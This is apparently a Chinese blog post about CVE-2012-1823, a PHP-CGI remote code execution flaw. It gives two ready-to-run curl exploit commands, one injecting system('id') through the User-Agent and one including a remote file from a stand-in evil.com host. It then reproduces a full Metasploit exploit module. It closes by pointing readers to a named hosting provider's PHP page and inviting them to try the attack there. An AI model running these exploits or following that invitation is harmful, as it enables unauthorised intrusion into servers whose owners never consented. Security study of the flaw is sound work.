CVE-2012-1823(PHP-CGI RCE)的PoC及技术挑战

国外又发布了一个牛逼闪闪的php cgi远程任意代码执行漏洞: http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/  

粗看一下貌似没啥危害,因为php做了防范,在cgi这个sapi下是无法使用-r,-f等直接执行命令的参数的。只有少数几个参数可以使用,因此公告里也就给出了 使用-s参数读取源文件的poc。  

另外关于RCE的PoC原文没有给出,不过说明的确可以远程执行代码。那么他是怎么做到的呢?我粗略想了想,可以利用的参数只有一个-d参数了,作用是给php定义一个ini的值。 

那么利用它能做什么呢?我给出如下两个RCE的PoC方案: 

1、本地包含直接执行代码: 
curl -H "USER-AGENT: <?system('id');die();?>" http://target.com/test.php?-dauto_prepend_file%3d/proc/self/environ+-n 

2、远程包含执行代码: 
curl http://target.com/test.php?-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3a%2f%2Fwww.evil.com%2fevil.txt 

经过测试以上两者都可以,但其实就是一个包含文件的两种使用而已。 

各位看看还有什么牛逼的方法可以绕过限制直接远程执行代码呢?这会是一个很好玩的技术挑战。 



http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
        http://ompldr.org/vZGxxaQ
        http://zone.wooyun.org/content/151
        http://www.php-security.net/archives/9-New-PHP-CGI-exploit-CVE-2012-1823.html
        http://www.php-security.net/archives/11-Mitigation-for-CVE-2012-1823-CVE-2012-2311.html


MetaSploit提供了如下测试模块:

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

load 'lib/msf/core/exploit/http/server.rb'
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'PHP CGI Argument Injection',
            'Description'    => %q{
                When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to
                an argument injection vulnerability.  This module takes advantage of
                the -d flag to set php.ini directives to achieve code execution.
                From the advisory: "if there is NO unescaped ‘=’ in the query string,
                the string is split on ‘+’ (encoded space) characters, urldecoded,
                passed to a function that escapes shell metacharacters (the “encoded in
                a system-defined manner” from the RFC) and then passes them to the CGI
                binary."
            },
            'Author'         => [ 'egypt', 'hdm' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision$',
            'References'     => [
                    [ "CVE"    , "2012-1823" ],
                    [ "URL"    , "http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/" ],
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'DisableNops' => true,
                    # Arbitrary big number. The payload gets sent as an HTTP
                    # response body, so really it's unlimited
                    'Space'       => 262144, # 256k
                },
            'DisclosureDate' => 'May 03 2012',
            'Platform'       => 'php',
            'Arch'           => ARCH_PHP,
            'Targets'        => [[ 'Automatic', { }]],
            'DefaultTarget' => 0))

        register_options([
            OptString.new('TARGETURI', [false, "The URI to request"]),
            ], self.class)
    end

    # php-cgi -h
    # ...
    #   -s               Display colour syntax highlighted source.
    def check
        uri = target_uri.path
        if(uri and ! uri.empty?)
            uri.gsub!(/\?.*/, "")

            print_status("Checking uri #{uri}")

            response = send_request_raw({ 'uri' => uri })

            if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\<\;\?/mi
                print_error("Server responded in a way that was ambiguous, could not determine whether it was vulnerable")
                return Exploit::CheckCode::Unknown
            end

            response = send_request_raw({ 'uri' => uri + '?-s'})
            if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\<\;\?/mi
                return Exploit::CheckCode::Vulnerable
            end

            print_error("Server responded indicating it was not vulnerable")
            return Exploit::CheckCode::Safe
        else
            return Exploit::CheckCode::Unknown
        end
    end

    def exploit
        #sleep 100
        begin
            php_trues  = [ "1", "on", "true" ]
            php_falses = [ "0", "off", "false" ]
            args = [
                "-d+allow_url_include%3d#{rand_php_ini_true}",
                "-d+auto_prepend_file%3dphp://input",
            ]

            qs = args.join("+")
            uri = "#{target_uri}?#{qs}"
            p uri

            # Has to be all on one line, so gsub out the comments and the newlines
            payload_oneline = "<?php " +payload.encoded.gsub(/\s*#.*$/, "").gsub("\n", "")
            response = send_request_cgi( {
                'method' => "POST",
                'global' => true,
                'uri'    => uri,
                'data'   => payload_oneline,
            }, 0.1)
            handler

        rescue ::Interrupt
            raise $!
        rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused
            print_error("The target service unreachable")
        rescue ::OpenSSL::SSL::SSLError
            print_error("The target failed to negotiate SSL, is this really an SSL service?")
        end
    end

    def rand_php_ini_false
        [ "0", "off", "false" ].sort_by{rand}.first
    end

    def rand_php_ini_true
        [ "1", "on", "true" ].sort_by{rand}.first
    end

end


目前绝大多数虚拟主机提供商都是CGI方式,例如:

 http://www.yihengit.com.cn/php.php 
,有兴趣可以去试一试


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值